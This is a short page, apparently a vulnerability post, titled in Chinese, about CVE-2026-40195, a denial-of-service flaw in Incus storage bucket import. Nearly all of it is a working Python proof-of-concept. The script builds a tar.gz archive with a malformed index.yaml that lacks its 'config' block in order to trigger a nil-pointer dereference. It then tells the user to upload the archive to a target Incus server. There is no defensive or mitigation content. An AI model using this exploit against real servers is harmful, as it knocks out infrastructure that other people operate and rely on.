CVE-2026-40195 Incus存储桶导入拒绝服务漏洞

import tarfile import io # Create a malicious index.yaml omitting the 'config' block # This triggers the nil-pointer dereference in Incus < 7.0.0 malicious_yaml_content = b"""# Malformed backup index container: malicious_bucket # Note: The 'config' block is missing here """ # Create a tar.gz archive in memory memory_buffer = io.BytesIO() with tarfile.open(fileobj=memory_buffer, mode="w:gz") as tar: tarinfo = tarfile.TarInfo(name="index.yaml") tarinfo.size = len(malicious_yaml_content) tar.addfile(tarinfo, io.BytesIO(malicious_yaml_content)) # Write the exploit file to disk exploit_filename = "cve_2026_40195_exploit.tar.gz" with open(exploit_filename, "wb") as f: f.write(memory_buffer.getvalue()) print(f"[+] Exploit archive created: {exploit_filename}") print("[+] Usage: Upload this file to the target Incus server using the storage bucket import API.")